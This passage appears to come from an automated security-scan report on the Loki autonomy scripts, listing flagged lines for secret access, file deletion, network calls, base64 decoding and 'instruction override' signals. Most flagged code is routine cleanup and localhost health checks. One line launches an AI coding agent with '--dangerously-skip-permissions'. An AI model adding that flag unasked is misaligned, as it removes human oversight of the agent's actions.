    [Credential-related source omitted]
  • Access to secretsline 4890
    [Credential-related source omitted]
  • Access to secretsline 4893
    [Credential-related source omitted]
  • Dangerous shell operationline 4900
    rm -f "$LOKI_DIR/STOP" "$LOKI_DIR/PAUSE" "$LOKI_DIR/PAUSED.md" 2>/dev/null
  • Access to secretsline 4918
    [Credential-related source omitted]
  • Dangerous shell operationline 4954
    rm -f "$_dash_pidf"
  • Dangerous shell operationline 4976
    rm -f "$entry_file"
  • Dangerous shell operationline 5031
    docker rm $_all_ids >/dev/null 2>&1 || true
  • Dangerous shell operationline 5247
    rm -f "$entry_file"
  • Dangerous shell operationline 5304
    rm -f "$entry_file"
  • Dangerous shell operationline 5309
    rm -f "$entry_file"
  • Access to secretsline 5557
    [Credential-related source omitted]
  • Dangerous shell operationline 5701
    rm -f "$LOKI_DIR/PAUSE"
  • Dangerous shell operationline 5704
    rm -f "$LOKI_DIR/STOP"
  • Access to secretsline 5756
    [Credential-related source omitted]
  • Access to secretsline 5757
    [Credential-related source omitted]
  • Access to secretsline 5842
    [Credential-related source omitted]
  • Access to secretsline 5897
    [Credential-related source omitted]
  • Access to secretsline 5910
    [Credential-related source omitted]
  • Access to secretsline 5911
    [Credential-related source omitted]
  • Dangerous shell operationline 5922
    rm -rf "$tmp"
  • Network accessline 6106
    return 1         fi         pr_url="$(printf '%s\n' "$pr_url" | grep -Eo 'https://[^[:space:]]+' | head -1)"
  • Network accessline 6107
    fi         pr_url="$(printf '%s\n' "$pr_url" | grep -Eo 'https://[^[:space:]]+' | head -1)"         if [ -z "$pr_url" ]; then
  • Network accessline 6108
    pr_url="$(printf '%s\n' "$pr_url" | grep -Eo 'https://[^[:space:]]+' | head -1)"
  • Dangerous shell operationline 6121
    body_path:".loki/state/pr-body.md"}' > "$tmp_state"              && mv "$tmp_state" "$pr_state" || { rm -f "$tmp_state"; return 1; }
  • Dangerous shell operationline 6122
    && mv "$tmp_state" "$pr_state" || { rm -f "$tmp_state"; return 1; }
  • Access to secretsline 6369
    [Credential-related source omitted]
  • Access to secretsline 6370
    [Credential-related source omitted]
  • Dangerous shell operationline 6444
    [Credential-related source omitted]
  • Access to secretsline 6444
    [Credential-related source omitted]
  • Access to secretsline 6449
    [Credential-related source omitted]
  • Access to secretsline 6450
    [Credential-related source omitted]
  • Access to secretsline 6451
    [Credential-related source omitted]
  • Access to secretsline 6460
    [Credential-related source omitted]
  • Access to secretsline 6474
    [Credential-related source omitted]
  • Access to secretsline 6513
    [Credential-related source omitted]
  • Access to secretsline 6526
    [Credential-related source omitted]
  • Dangerous shell operationline 6562
    [Credential-related source omitted]
  • Access to secretsline 6562
    [Credential-related source omitted]
  • Access to secretsline 6567
    [Credential-related source omitted]
  • Access to secretsline 6568
    [Credential-related source omitted]
  • Access to secretsline 6642
    [Credential-related source omitted]
  • Access to secretsline 6679
    [Credential-related source omitted]
  • Access to secretsline 6706
    [Credential-related source omitted]
  • Access to secretsline 6730
    [Credential-related source omitted]
  • Access to secretsline 6762
    [Credential-related source omitted]
  • Access to secretsline 6769
    [Credential-related source omitted]
  • Access to secretsline 6791
    [Credential-related source omitted]
  • Access to secretsline 6830
    [Credential-related source omitted]
  • Access to secretsline 6841
    [Credential-related source omitted]
  • Access to secretsline 6987
    [Credential-related source omitted]
  • Access to secretsline 6988
    [Credential-related source omitted]
  • Access to secretsline 7017
    [Credential-related source omitted]
  • Access to secretsline 7018
    [Credential-related source omitted]
  • Network accessline 7033
    if [ -n "$pid" ] && kill -0 "$pid" 2>/dev/null; then             local port=${LOKI_DASHBOARD_PORT:-57374}             echo -e "${CYAN}Dashboard:${NC} http://127.0.0.1:$port/"
  • Network accessline 7034
    local port=${LOKI_DASHBOARD_PORT:-57374}             echo -e "${CYAN}Dashboard:${NC} http://127.0.0.1:$port/"         fi
  • Network accessline 7035
    echo -e "${CYAN}Dashboard:${NC} http://127.0.0.1:$port/"
  • Access to secretsline 7065
    [Credential-related source omitted]
  • Access to secretsline 7081
    [Credential-related source omitted]
  • Access to secretsline 7179
    [Credential-related source omitted]
  • Access to secretsline 7243
    [Credential-related source omitted]
  • Access to secretsline 7255
    [Credential-related source omitted]
  • Access to secretsline 7952
    [Credential-related source omitted]
  • Access to secretsline 8217
    [Credential-related source omitted]
  • Dangerous shell operationline 8338
    rm -f "$DASHBOARD_PID_FILE"
  • Access to secretsline 8367
    [Credential-related source omitted]
  • Access to secretsline 8382
    [Credential-related source omitted]
  • Access to secretsline 8384
    [Credential-related source omitted]
  • Network accessline 8397
    # UNAUTHENTICATED /health endpoint over the ACTUAL scheme: /api/status     # 401s under LOKI_ENTERPRISE_AUTH, and the scheme is https when TLS is on,     # so the old hardcoded http://.../api/status probe always failed against a
  • Network accessline 8398
    # 401s under LOKI_ENTERPRISE_AUTH, and the scheme is https when TLS is on,     # so the old hardcoded http://.../api/status probe always failed against a     # healthy TLS or auth-enabled server. Use a loopback-reachable host when
  • Network accessline 8399
    # so the old hardcoded http://.../api/status probe always failed against a
  • Network accessline 8406
    local health_ok=false     while [[ $health_retries -gt 0 ]]; do         if curl $health_curl_opts "${url_scheme}://${health_host}:${port}/health" >/dev/null 2>&1; then
  • Network accessline 8407
    while [[ $health_retries -gt 0 ]]; do         if curl $health_curl_opts "${url_scheme}://${health_host}:${port}/health" >/dev/null 2>&1; then             health_ok=true
  • Network accessline 8408
    if curl $health_curl_opts "${url_scheme}://${health_host}:${port}/health" >/dev/null 2>&1; then
  • Dangerous shell operationline 8441
    rm -f "$DASHBOARD_PID_FILE"
  • Dangerous shell operationline 8461
    rm -f "$DASHBOARD_PID_FILE"
  • Dangerous shell operationline 8483
    rm -f "$DASHBOARD_PID_FILE"
  • Dangerous shell operationline 8486
    rm -f "$DASHBOARD_PID_FILE"
  • Dangerous shell operationline 8507
    rm -f "$DASHBOARD_PID_FILE"
  • Network accessline 8543
    curl_flags="$curl_flags -k"         fi         if command -v curl &> /dev/null; then
  • Network accessline 8544
    fi         if command -v curl &> /dev/null; then             if curl $curl_flags "$url" &> /dev/null; then
  • Network accessline 8545
    if command -v curl &> /dev/null; then
  • Network accessline 8546
    if curl $curl_flags "$url" &> /dev/null; then
  • Dangerous shell operationline 8559
    rm -f "$DASHBOARD_PID_FILE"
  • Dangerous shell operationline 8617
    rm -f "$DASHBOARD_PID_FILE"
  • Dangerous shell operationline 8664
    rm -f "$DASHBOARD_PID_FILE"
  • Network accessline 8726
    echo -e "  Try it now:   ${BOLD}loki tour${NC} (a real sample result, no provider, no key, no spend)"     echo -e "  Quick start:  ${BOLD}loki quickstart${NC} (from your idea) or ${BOLD}loki start ./prd.md${NC} (from a spec)"     echo -e " 
  • Network accessline 8727
    echo -e "  Quick start:  ${BOLD}loki quickstart${NC} (from your idea) or ${BOLD}loki start ./prd.md${NC} (from a spec)"     echo -e "  Docs:         ${BOLD}https://www.autonomi.dev/docs${NC}"     echo ""
  • Network accessline 8728
    echo -e "  Docs:         ${BOLD}https://www.autonomi.dev/docs${NC}"
  • Network accessline 8872
    *)             if ! _deprecated_alias_should_suppress "$@"; then                 echo "loki web (Purple Lab) is deprecated as of v7.44.0. For local build + monitoring, use the dashboard (auto-launches at 'loki start', http://localhost:${DAS
  • Network accessline 8873
    if ! _deprecated_alias_should_suppress "$@"; then                 echo "loki web (Purple Lab) is deprecated as of v7.44.0. For local build + monitoring, use the dashboard (auto-launches at 'loki start', http://localhost:${DASHBOARD_DEFAULT_
  • Network accessline 8874
    echo "loki web (Purple Lab) is deprecated as of v7.44.0. For local build + monitoring, use the dashboard (auto-launches at 'loki start', http://localhost:${DASHBOARD_DEFAULT_PORT}; or 'loki dashboard'). For the hosted platform, see Autonomi
  • Network accessline 8976
    if ! _deprecated_alias_should_suppress ${orig_args[@]+"${orig_args[@]}"}; then         echo "Launching the dashboard (http://localhost:${DASHBOARD_DEFAULT_PORT}) instead of the deprecated Purple Lab." >&2
  • Network accessline 8977
    echo "Launching the dashboard (http://localhost:${DASHBOARD_DEFAULT_PORT}) instead of the deprecated Purple Lab." >&2
  • Network accessline 9024
    curl -s --max-time 3 -X POST "http://127.0.0.1:${port}/api/session/stop" >/dev/null 2>&1 || true
  • Dangerous shell operationline 9052
    rm -f "$PURPLE_LAB_PID_FILE"
  • Dangerous shell operationline 9107
    rm -f "$PURPLE_LAB_PID_FILE" "${LOKI_DIR}/purple-lab/port" 2>/dev/null || true
  • Dangerous shell operationline 9108
    rm -f "$HOME/.loki/purple-lab/purple-lab.pid" "$HOME/.loki/purple-lab/port" 2>/dev/null || true
  • Access to secretsline 9115
    [Credential-related source omitted]
  • Dangerous shell operationline 9129
    rm -f "$pids_file" 2>/dev/null || true
  • Dangerous shell operationline 9165
    rm -f "${LOKI_DIR}/dashboard/dashboard.pid" 2>/dev/null || true
  • Dangerous shell operationline 9166
    rm -f "$HOME/.loki/dashboard/dashboard.pid" 2>/dev/null || true
  • Dangerous shell operationline 9167
    rm -f "${PURPLE_LAB_STATE_DIR}/purple-lab.pid" "${PURPLE_LAB_STATE_DIR}/port" 2>/dev/null || true
  • Network accessline 9185
    echo -e "${GREEN}Purple Lab is running${NC}"             echo "  PID:  $pid"             echo "  URL:  http://${PURPLE_LAB_DEFAULT_HOST}:${port}"
  • Network accessline 9186
    echo "  PID:  $pid"             echo "  URL:  http://${PURPLE_LAB_DEFAULT_HOST}:${port}"             echo "  Logs: $log_path"
  • Network accessline 9187
    echo "  URL:  http://${PURPLE_LAB_DEFAULT_HOST}:${port}"
  • Dangerous shell operationline 9191
    rm -f "$PURPLE_LAB_PID_FILE"
  • Network accessline 9242
    local logfile="${1:-}"     [ -f "$logfile" ] || return 0     grep -oE 'https://[a-z0-9-]+\.trycloudflare\.com' "$logfile" 2>/dev/null | head -1 || true
  • Network accessline 9243
    [ -f "$logfile" ] || return 0     grep -oE 'https://[a-z0-9-]+\.trycloudflare\.com' "$logfile" 2>/dev/null | head -1 || true }
  • Network accessline 9244
    grep -oE 'https://[a-z0-9-]+\.trycloudflare\.com' "$logfile" 2>/dev/null | head -1 || true
  • Network accessline 9264
    tunnels = data.get("tunnels", []) if isinstance(data, dict) else [] urls = [t.get("public_url", "") for t in tunnels if isinstance(t, dict) and t.get("public_url")] https = [u for u in urls if u.startswith("https://")]
  • Network accessline 9265
    urls = [t.get("public_url", "") for t in tunnels if isinstance(t, dict) and t.get("public_url")] https = [u for u in urls if u.startswith("https://")] chosen = https[0] if https else (urls[0] if urls else "")
  • Network accessline 9266
    https = [u for u in urls if u.startswith("https://")]
  • Network accessline 9275
    out=$(grep -oE '"public_url"[[:space:]]*:[[:space:]]*"https://[^"]*"' "$json_file" 2>/dev/null | head -1 | grep -oE 'https://[^"]*' || true)
  • Dangerous shell operationline 9295
    rm -f "$logfile" 2>/dev/null || true
  • Network accessline 9333
    if [ -z "$url" ]; then         url="http://localhost:${port:-3000}"
  • Network accessline 9334
    url="http://localhost:${port:-3000}"
  • Network accessline 9341
    local port_ready=false     while [ $retries -lt 6 ]; do         if curl -s "http://localhost:${probe_port}" > /dev/null 2>&1; then
  • Network accessline 9342
    while [ $retries -lt 6 ]; do         if curl -s "http://localhost:${probe_port}" > /dev/null 2>&1; then             port_ready=true
  • Network accessline 9343
    if curl -s "http://localhost:${probe_port}" > /dev/null 2>&1; then
  • Network accessline 9423
    echo "  cloudflared (no account needed for quick tunnels):" >&2         echo "    brew install cloudflared                        # macOS" >&2         echo "    https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/d
  • Network accessline 9424
    echo "    brew install cloudflared                        # macOS" >&2         echo "    https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/downloads/  # all platforms" >&2         echo "" >&2
  • Network accessline 9425
    echo "    https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/downloads/  # all platforms" >&2
  • Network accessline 9427
    echo "  ngrok (needs a free authtoken):" >&2         echo "    brew install ngrok                              # macOS" >&2         echo "    https://ngrok.com/download                      # all platforms" >&2
  • Network accessline 9428
    echo "    brew install ngrok                              # macOS" >&2         echo "    https://ngrok.com/download                      # all platforms" >&2         return 1
  • Network accessline 9429
    echo "    https://ngrok.com/download                      # all platforms" >&2
  • Network accessline 9440
    local -a tunnel_cmd=()     if [ "$chosen_provider" = "cloudflared" ]; then         tunnel_cmd=(cloudflared tunnel --url "http://localhost:${probe_port}")
  • Network accessline 9441
    if [ "$chosen_provider" = "cloudflared" ]; then         tunnel_cmd=(cloudflared tunnel --url "http://localhost:${probe_port}")         if [ "$no_host_rewrite" != true ]; then
  • Network accessline 9442
    tunnel_cmd=(cloudflared tunnel --url "http://localhost:${probe_port}")
  • Network accessline 9454
    echo ""     echo "Starting ${chosen_provider} tunnel for http://localhost:${probe_port} ..."
  • Network accessline 9455
    echo "Starting ${chosen_provider} tunnel for http://localhost:${probe_port} ..."
  • Network accessline 9488
    else             local api_json="${LOKI_DIR}/preview/ngrok-api.json"             if curl -s "http://127.0.0.1:4040/api/tunnels" -o "$api_json" 2>/dev/null; then
  • Network accessline 9489
    local api_json="${LOKI_DIR}/preview/ngrok-api.json"             if curl -s "http://127.0.0.1:4040/api/tunnels" -o "$api_json" 2>/dev/null; then                 public_url=$(_extract_tunnel_url_ngrok "$api_json")
  • Network accessline 9490
    if curl -s "http://127.0.0.1:4040/api/tunnels" -o "$api_json" 2>/dev/null; then
  • Dangerous shell operationline 9493
    rm -f "$api_json" 2>/dev/null || true
  • Network accessline 9647
    if [ -z "$url" ]; then         url="http://localhost:${port:-3000}"
  • Network accessline 9648
    url="http://localhost:${port:-3000}"
  • Network accessline 9755
    case "$type" in         nextjs)             printf '%s\n' "Vercel|vercel|vercel --prod|https://vercel.com/docs/cli|vercel rollback"
  • Network accessline 9756
    nextjs)             printf '%s\n' "Vercel|vercel|vercel --prod|https://vercel.com/docs/cli|vercel rollback"             printf '%s\n' "Netlify|netlify|netlify deploy --prod|https://docs.netlify.com/cli/get-started/|manual:Netlify documents 
  • Network accessline 9757
    printf '%s\n' "Vercel|vercel|vercel --prod|https://vercel.com/docs/cli|vercel rollback"
  • Network accessline 9758
    printf '%s\n' "Netlify|netlify|netlify deploy --prod|https://docs.netlify.com/cli/get-started/|manual:Netlify documents no CLI rollback; restore the previous deploy from the Netlify dashboard"
  • Network accessline 9760
    printf '%s\n' "Fly.io|flyctl|fly deploy|https://fly.io/docs/flyctl/install/|fly releases rollback <captured-version>"
  • Network accessline 9761
    ;;         static)             printf '%s\n' "Netlify|netlify|netlify deploy --prod --dir=<build-output>|https://docs.netlify.com/cli/get-started/|manual:Netlify documents no CLI rollback; restore the previous deploy from the Netlify dashbo
  • Network accessline 9762
    static)             printf '%s\n' "Netlify|netlify|netlify deploy --prod --dir=<build-output>|https://docs.netlify.com/cli/get-started/|manual:Netlify documents no CLI rollback; restore the previous deploy from the Netlify dashboard"       
  • Network accessline 9763
    printf '%s\n' "Netlify|netlify|netlify deploy --prod --dir=<build-output>|https://docs.netlify.com/cli/get-started/|manual:Netlify documents no CLI rollback; restore the previous deploy from the Netlify dashboard"
  • Network accessline 9764
    printf '%s\n' "Cloudflare Pages|wrangler|wrangler pages deploy <build-output>|https://developers.cloudflare.com/workers/wrangler/install-and-update/|manual:Cloudflare rollback is not automated here; roll back from the dashboard or with the 
  • Network accessline 9765
    printf '%s\n' "Vercel|vercel|vercel --prod|https://vercel.com/docs/cli|vercel rollback"
  • Network accessline 9769
    printf '%s\n' "Fly.io|flyctl|fly deploy|https://fly.io/docs/flyctl/install/|fly releases rollback <captured-version>"
  • Network accessline 9770
    printf '%s\n' "Cloudflare|wrangler|wrangler deploy|https://developers.cloudflare.com/workers/wrangler/install-and-update/|manual:Cloudflare rollback is not automated here; roll back from the dashboard or with the provider CLI yourself"
  • Network accessline 9774
    printf '%s\n' "Fly.io|flyctl|fly deploy|https://fly.io/docs/flyctl/install/|fly releases rollback <captured-version>"
  • Network accessline 9775
    printf '%s\n' "Vercel|vercel|vercel --prod|https://vercel.com/docs/cli|vercel rollback"
  • Network accessline 9779
    printf '%s\n' "Fly.io|flyctl|fly deploy|https://fly.io/docs/flyctl/install/|fly releases rollback <captured-version>"
  • Dangerous shell operationline 10043
    rm -f "$jwks"
  • Access to secretsline 10084
    [Credential-related source omitted]
  • Access to secretsline 10090
    [Credential-related source omitted]
  • Access to secretsline 10137
    [Credential-related source omitted]
  • Access to secretsline 10140
    [Credential-related source omitted]
  • Access to secretsline 10240
    [Credential-related source omitted]
  • Access to secretsline 10244
    [Credential-related source omitted]
  • Access to secretsline 10245
    [Credential-related source omitted]
  • Access to secretsline 10246
    [Credential-related source omitted]
  • Access to secretsline 10247
    [Credential-related source omitted]
  • Access to secretsline 10248
    [Credential-related source omitted]
  • Access to secretsline 10249
    [Credential-related source omitted]
  • Access to secretsline 10251
    [Credential-related source omitted]
  • Access to secretsline 10252
    [Credential-related source omitted]
  • Access to secretsline 10253
    [Credential-related source omitted]
  • Access to secretsline 10254
    [Credential-related source omitted]
  • Access to secretsline 10259
    [Credential-related source omitted]
  • Access to secretsline 10260
    [Credential-related source omitted]
  • Access to secretsline 10261
    [Credential-related source omitted]
  • Access to secretsline 10262
    [Credential-related source omitted]
  • Access to secretsline 10263
    [Credential-related source omitted]
  • Access to secretsline 10264
    [Credential-related source omitted]
  • Access to secretsline 10265
    [Credential-related source omitted]
  • Access to secretsline 10266
    [Credential-related source omitted]
  • Access to secretsline 10267
    [Credential-related source omitted]
  • Access to secretsline 10268
    [Credential-related source omitted]
  • Access to secretsline 10269
    [Credential-related source omitted]
  • Access to secretsline 10270
    [Credential-related source omitted]
  • Access to secretsline 10271
    [Credential-related source omitted]
  • Access to secretsline 10272
    [Credential-related source omitted]
  • Access to secretsline 10273
    [Credential-related source omitted]
  • Access to secretsline 10274
    [Credential-related source omitted]
  • Access to secretsline 10275
    [Credential-related source omitted]
  • Access to secretsline 10276
    [Credential-related source omitted]
  • Access to secretsline 10277
    [Credential-related source omitted]
  • Access to secretsline 10278
    [Credential-related source omitted]
  • Network accessline 10357
    while [ "$i" -lt "$attempts" ]; do         i=$((i + 1))         code="$(curl -s -o "$body" -w '%{http_code}' --max-time 10 "$url" 2>/dev/null)" || code="000"
  • Network accessline 10358
    i=$((i + 1))         code="$(curl -s -o "$body" -w '%{http_code}' --max-time 10 "$url" 2>/dev/null)" || code="000"         case "$code" in
  • Network accessline 10359
    code="$(curl -s -o "$body" -w '%{http_code}' --max-time 10 "$url" 2>/dev/null)" || code="000"
  • Dangerous shell operationline 10363
    [ "$body" = /dev/null ] || rm -f "$body"
  • Dangerous shell operationline 10370
    [ "$body" = /dev/null ] || rm -f "$body"
  • Dangerous shell operationline 10401
    rm -f "$dir/$r/.well-known/loki-provenance.json" 2>/dev/null || true
  • Dangerous shell operationline 10414
    rm -f "$f" 2>/dev/null
  • Access to secretsline 10419
    [Credential-related source omitted]
  • Access to secretsline 10420
    [Credential-related source omitted]
  • Access to secretsline 10422
    [Credential-related source omitted]
  • Dangerous shell operationline 10423
    ' 2>/dev/null || { rm -f "$f"; return 1; }
  • Dangerous shell operationline 10431
    rm -f "$f"
  • Network accessline 10644
    echo -e "${RED}TLS invalid for ${domain}: no usable certificate was served. DNS may not point at the provider yet.${NC}" >&2         [ -z "$hint" ] || echo "  ${hint}." >&2     elif command -v curl >/dev/null 2>&1; then
  • Network accessline 10645
    [ -z "$hint" ] || echo "  ${hint}." >&2     elif command -v curl >/dev/null 2>&1; then         body="$(curl -fsS --max-time 5 "https://${domain}/.well-known/loki-provenance.json" 2>/dev/null)" || body=""
  • Network accessline 10646
    elif command -v curl >/dev/null 2>&1; then
  • Network accessline 10647
    body="$(curl -fsS --max-time 5 "https://${domain}/.well-known/loki-provenance.json" 2>/dev/null)" || body=""
  • Dangerous shell operationline 10913
    trap "rm -rf -- '${dep_dir}'; trap - INT TERM HUP; exit 130" INT TERM HUP
  • Dangerous shell operationline 10928
    if [ -n "$dep_dir" ]; then rm -rf -- "$dep_dir"; trap - INT TERM HUP; fi
  • Dangerous shell operationline 10971
    ( cd "$dir" && eval "$rb_cmd" ) || rb_exit=$?
  • Network accessline 11267
    echo "                 step, domain_status=manual). Then prove TLS with openssl s_client and"                 echo "                 'openssl x509 -checkend 604800' and re-probe"                 echo "                 https://HOST/.well-kno
  • Network accessline 11268
    echo "                 'openssl x509 -checkend 604800' and re-probe"                 echo "                 https://HOST/.well-known/loki-provenance.json. The record stores domain,"                 echo "                 domain_status, tls_
  • Network accessline 11269
    echo "                 https://HOST/.well-known/loki-provenance.json. The record stores domain,"
  • Network accessline 11288
    --health-url)                 case "${2:-}" in                     http://*|https://*) _LOKI_DEPLOY_HEALTH_URL="$2"; shift ;;
  • Network accessline 11289
    case "${2:-}" in                     http://*|https://*) _LOKI_DEPLOY_HEALTH_URL="$2"; shift ;;                     *) echo "loki deploy --health-url requires an http(s) URL" >&2; return 1 ;;
  • Network accessline 11290
    http://*|https://*) _LOKI_DEPLOY_HEALTH_URL="$2"; shift ;;

autonomy/mcp-launch.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Access to secretsline 170
    [Credential-related source omitted]
  • Network accessline 405
    if ! base_py="$(_ml_python)"; then         printf '%sNo python3 found on PATH.%s The MCP server needs Python 3.\n' "$_ML_RED" "$_ML_NC" >&2         printf 'Install Python 3 (https://www.python.org/downloads), then re-run: loki mcp\n' >&2
  • Network accessline 406
    printf '%sNo python3 found on PATH.%s The MCP server needs Python 3.\n' "$_ML_RED" "$_ML_NC" >&2         printf 'Install Python 3 (https://www.python.org/downloads), then re-run: loki mcp\n' >&2         return 2
  • Network accessline 407
    printf 'Install Python 3 (https://www.python.org/downloads), then re-run: loki mcp\n' >&2
  • Dangerous shell operationline 492
    printf 'Nothing is installed globally and no sudo is used. Proceed? [Y/n] '

autonomy/migration-agents.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

autonomy/mirofish-adapter.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 40
    CONTAINER_NAME = "loki-mirofish" DEFAULT_URL = "http://localhost:5001"
  • Network accessline 41
    DEFAULT_URL = "http://localhost:5001"
  • Network accessline 126
    req = urllib.request.Request(url, data=body, headers=headers, method=method)
  • Network accessline 128
    try:             with urllib.request.urlopen(req, timeout=self.timeout) as resp:
  • Network accessline 129
    with urllib.request.urlopen(req, timeout=self.timeout) as resp:
  • Access to secretsline 1135
    [Credential-related source omitted]
  • Access to secretsline 1138
    [Credential-related source omitted]
  • Access to secretsline 1166
    [Credential-related source omitted]
  • Access to secretsline 1167
    [Credential-related source omitted]
  • Network accessline 1183
    base_url = f"http://localhost:{port}"
  • Dangerous shell operationline 1198
    docker stop loki-mirofish --time 10, then docker rm if needed.
  • Network accessline 1363
    "  python3 mirofish-adapter.py ./prd.md --output-dir .loki/\n"             "  python3 mirofish-adapter.py ./prd.md --validate\n"             "  python3 mirofish-adapter.py ./prd.md --json --url http://mf:5001\n"
  • Network accessline 1364
    "  python3 mirofish-adapter.py ./prd.md --validate\n"             "  python3 mirofish-adapter.py ./prd.md --json --url http://mf:5001\n"             "  python3 mirofish-adapter.py --status --output-dir .loki/\n"
  • Network accessline 1365
    "  python3 mirofish-adapter.py ./prd.md --json --url http://mf:5001\n"
  • Network accessline 1366
    "  python3 mirofish-adapter.py --status --output-dir .loki/\n"             "  python3 mirofish-adapter.py --health --url http://localhost:5001\n"             "  python3 mirofish-adapter.py --docker-start --docker-image mirofish/app\n"
  • Network accessline 1367
    "  python3 mirofish-adapter.py --health --url http://localhost:5001\n"
  • Access to secretsline 1438
    [Credential-related source omitted]

autonomy/mobile-verify.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

autonomy/notification-checker.py

  • Executable scriptline 1
    #!/usr/bin/env python3

autonomy/notify.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Network accessline 128
    (curl -s --fail --connect-timeout 5 --max-time 10 -X POST \
  • Network accessline 181
    (curl -s --fail --connect-timeout 5 --max-time 10 -X POST \
  • Network accessline 270
    if [ -z "$LOKI_SLACK_WEBHOOK" ] && [ -z "$LOKI_DISCORD_WEBHOOK" ]; then         echo "No webhook URLs configured. Set at least one of:"         echo "  export LOKI_SLACK_WEBHOOK='https://hooks.slack.com/...'"
  • Network accessline 271
    echo "No webhook URLs configured. Set at least one of:"         echo "  export LOKI_SLACK_WEBHOOK='https://hooks.slack.com/...'"         echo "  export LOKI_DISCORD_WEBHOOK='https://discord.com/api/webhooks/...'"
  • Network accessline 272
    echo "  export LOKI_SLACK_WEBHOOK='https://hooks.slack.com/...'"
  • Network accessline 273
    echo "  export LOKI_DISCORD_WEBHOOK='https://discord.com/api/webhooks/...'"

autonomy/openspec-adapter.py

  • Executable scriptline 1
    #!/usr/bin/env python3

autonomy/playwright-verify.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Dangerous shell operationline 237
    rm -f "$script_file"
  • Dangerous shell operationline 314
    rm -f "$results_file" "$results_file.tmp" 2>/dev/null || true
  • Dangerous shell operationline 739
    rm -f "$script_file"
  • Access to secretsline 748
    [Credential-related source omitted]
  • Dangerous shell operationline 778
    find "$dir" -maxdepth 1 -name 'verify-*.png' 2>/dev/null              | sort | head -n "$to_remove"              | xargs rm -f 2>/dev/null || true
  • Dangerous shell operationline 780
    | xargs rm -f 2>/dev/null || true
  • Access to secretsline 798
    [Credential-related source omitted]
  • Access to secretsline 835
    [Credential-related source omitted]

autonomy/prd-analyzer.py

  • Executable scriptline 1
    #!/usr/bin/env python3

autonomy/prd-checklist.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Dangerous shell operationline 243
    rm -rf -- "$work"
  • Dangerous shell operationline 254
    eval "$_o"
  • Dangerous shell operationline 274
    rm -rf -- "$work"
  • Access to secretsline 387
    [Credential-related source omitted]
  • Access to secretsline 388
    [Credential-related source omitted]
  • Access to secretsline 389
    [Credential-related source omitted]
  • Access to secretsline 485
    [Credential-related source omitted]
  • Access to secretsline 772
    [Credential-related source omitted]
  • Access to secretsline 848
    [Credential-related source omitted]
  • Dangerous shell operationline 850
    rm -f "$status_file" 2>/dev/null || true
  • Access to secretsline 855
    [Credential-related source omitted]
  • Access to secretsline 884
    [Credential-related source omitted]
  • Access to secretsline 989
    [Credential-related source omitted]
  • Access to secretsline 990
    [Credential-related source omitted]
  • Access to secretsline 1100
    [Credential-related source omitted]
  • Access to secretsline 1139
    [Credential-related source omitted]
  • Access to secretsline 1280
    [Credential-related source omitted]
  • Access to secretsline 1285
    [Credential-related source omitted]
  • Access to secretsline 1300
    [Credential-related source omitted]
  • Access to secretsline 1390
    [Credential-related source omitted]
  • Access to secretsline 1428
    [Credential-related source omitted]
  • Access to secretsline 1451
    [Credential-related source omitted]
  • Access to secretsline 1454
    [Credential-related source omitted]
  • Access to secretsline 1499
    [Credential-related source omitted]
  • Access to secretsline 1506
    [Credential-related source omitted]
  • Access to secretsline 1509
    [Credential-related source omitted]
  • Access to secretsline 1537
    [Credential-related source omitted]
  • Access to secretsline 1544
    [Credential-related source omitted]
  • Access to secretsline 1546
    [Credential-related source omitted]

autonomy/provider-offer.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Network accessline 10
    # Self-containment contract (load-bearing for parity): this file depends ONLY # on bash builtins + npm/claude on PATH. It defines its own colors and never # reads $RED/$NC or any other variable owned by autonomy/loki, because when
  • Network accessline 11
    # on bash builtins + npm/claude on PATH. It defines its own colors and never # reads $RED/$NC or any other variable owned by autonomy/loki, because when # doctor.ts spawns it standalone those variables are unset. If this file ever
  • Network accessline 12
    # reads $RED/$NC or any other variable owned by autonomy/loki, because when
  • Access to secretsline 151
    [Credential-related source omitted]
  • Access to secretsline 152
    [Credential-related source omitted]
  • Access to secretsline 182
    [Credential-related source omitted]
  • Network accessline 269
    printf '%sInstall failed (npm exited %s). You can retry manually:%s\n' "$_PO_RED" "$code" "$_PO_NC"     printf '  %s\n' "$_PO_INSTALL_CMD"     printf 'If this is a permissions error, see https://docs.npmjs.com/resolving-eacces-permissions-e
  • Network accessline 270
    printf '  %s\n' "$_PO_INSTALL_CMD"     printf 'If this is a permissions error, see https://docs.npmjs.com/resolving-eacces-permissions-errors\n'     return "$code"
  • Network accessline 271
    printf 'If this is a permissions error, see https://docs.npmjs.com/resolving-eacces-permissions-errors\n'
  • Network accessline 327
    printf 'cannot install one for you.\n'         printf '\n'         printf 'Install Node.js + npm first (https://nodejs.org), then run:\n'
  • Network accessline 328
    printf '\n'         printf 'Install Node.js + npm first (https://nodejs.org), then run:\n'         printf '  %s\n' "$_PO_INSTALL_CMD"
  • Network accessline 329
    printf 'Install Node.js + npm first (https://nodejs.org), then run:\n'
  • Access to secretsline 541
    [Credential-related source omitted]
  • Access to secretsline 546
    [Credential-related source omitted]

autonomy/queue-consumer.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Access to secretsline 67
    [Credential-related source omitted]
  • Access to secretsline 185
    [Credential-related source omitted]
  • Access to secretsline 188
    [Credential-related source omitted]

autonomy/quickstart.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Possible obfuscationline 679
    value=$(python3 -c 'import base64,sys; sys.stdout.buffer.write(base64.b64decode(sys.argv[1], validate=True))' "$encoded" 2>/dev/null) || {
  • Instruction override signalline 816
    if command -v timeout >/dev/null 2>&1; then to="timeout"     elif command -v gtimeout >/dev/null 2>&1; then to="gtimeout"; fi     _LOKI_PERM_ARGV=(--dangerously-skip-permissions)
  • Instruction override signalline 818
    _LOKI_PERM_ARGV=(--dangerously-skip-permissions)
  • Possible obfuscationline 1172
    preview_value=$(python3 -c 'import base64,sys; sys.stdout.buffer.write(base64.b64decode(sys.argv[1], validate=True))' "$preview_encoded" 2>/dev/null) || {
  • Dangerous shell operationline 1714
    rm -f "$preview_stage"
